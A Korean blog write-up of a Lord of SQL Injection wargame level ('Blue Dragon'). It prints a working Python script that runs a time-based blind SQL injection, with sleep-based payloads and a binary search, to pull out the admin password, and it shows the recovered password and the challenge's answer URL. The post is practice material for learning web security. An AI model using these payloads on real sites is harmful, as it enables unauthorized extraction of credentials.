Dragon시리즈의 마지막인 Blue Dragon이다. 이번이 알파카를 보는 마지막 시간이 될 거 같다.
코드
코드를 보니 이스케이프 문자와 작은따옴표(')가 필터링되어있다. 이에 따라 코드부로 들어가는 게 쉽지는 않을 듯싶다. 정확한 pw가 필요한 것을 보니 Blind SQL Injection Type의 문제인 거 같다.
* 자세히 보니, 필터링이 2회에 거쳐서 진행되는 것을 보니 해결방안이 보일지도??....
해결방법
Answer Url : los.rubiya.kr/chall/XXXX.php?pw=d948b8a0
import requests
import string
import time
class positive_binary_search :
mid = 0
start = 0
end = 0
def __init__(self,start,end) :
self.start = start
self.end = end
self.mid = (self.start+self.end)//2
def search_success(self) :
self.start = self.mid
self.mid = (self.start+self.end)//2
def search_fail(self) :
self.end = self.mid
self.mid = (self.start+self.end)//2
def next(self) :
return self.mid
url = "### Blue dragon url ###"
cookie = dict(PHPSESSID="### 자신의 PHPSESSID ###")
length = 1
password = ""
print("### find for pw length ###")
while(True) :
param = "?id=admin' and if(length(pw)>"+str(length)+",sleep(1),0)-- ;"
new_url = url+param
start = time.time()
rec = requests.get(new_url, cookies=cookie)
end = time.time()
if end-start > 0.5:
length += 1
else :
print("Found PW length",length)
break
print("### find for real PW ###")
for i in range(1,length+1) :
bi = positive_binary_search(0,122)
tar = bi.next()
while(True) :
param = "?id=admin' and if(ascii(substr(pw,"+str(i)+",1))>"+str(tar)+",sleep(1),0)-- ;"
new_url = url+param
start = time.time()
rec = requests.get(new_url, cookies=cookie)
end = time.time()
if(end-start > 0.5) :
bi.search_success()
if(tar==bi.next()) :
password += chr(tar+1)
print("Found password I Think :",password)
break
tar = bi.next()
else :
bi.search_fail()
tar = bi.next()
필터조건에서 이스케이프와 작은따옴표가 필터 되는 건 한번 쿼리가 실행된 이후라는 것을 이용애 서
Time Based SQL Injection을 시도하였다. 그냥 asciiletters와 digits를 순회하면 한백년걸릴 거 같아서 저번 시간에 쓴 이진 탐색을 조금 섞어주었다.
코드의 출력은 다음과 같다.
### find for pw length ###
Found PW length 8
### find for real PW ###
Found password I Think : d
Found password I Think : d9
Found password I Think : d94
Found password I Think : d948
Found password I Think : d948b
Found password I Think : d948b8
Found password I Think : d948b8a
Found password I Think : d948b8a0
축하합니다
이렇게 용 3형제를 이겼다. 다음 관문에서 여러분과 만나겠다.
'WarGame > Lord of SQL Injection' 카테고리의 다른 글
[LOSI] Lord of SQL Injection Level 29 - Phantom (0) | 2021.04.23 |
---|---|
[LOSI] Lord of SQL Injection Level 28 - Frankenstein (0) | 2021.04.23 |
[LOSI] Lord of SQL Injection Level 26 - Red Dragon (0) | 2021.04.22 |
[LOSI] Lord of SQL Injection Level 25 - Green Dragon (0) | 2021.04.22 |
[LOSI] Lord of SQL Injection Level 24 - Evil Wizard (0) | 2021.04.21 |